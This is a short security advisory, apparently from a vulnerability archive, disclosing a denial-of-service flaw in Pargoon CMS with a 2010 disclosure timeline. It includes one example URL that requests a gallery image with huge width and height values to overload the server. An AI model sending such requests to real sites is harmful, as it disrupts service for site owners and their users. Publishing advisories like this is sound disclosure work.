Pargoon CMS all version DoS Vulnerability

2010.05.10

Credit: Securitylab.ir

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

#### 
# Securitylab.ir
#### 
# Application Info:
# Name: Pargoon
# Vendor: http://www.vestasoft.ir
#### 
# Vulnerability Info:
# Type: DOS
# Risk: Medium
# 2010-01-17 - Found Vulnerability
# 2010-01-19 - Vendor notified
# 2010-05-08 - Public disclosure
####
Vulnerability: 
http://site.irPhotoGallery/General+Photos/160.jpg?Width=10000&Height=10000
With setting of large values of width and height it's possible to create
large load at the server.
#### 
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.Securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
######

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Pargoon CMS all version DoS Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.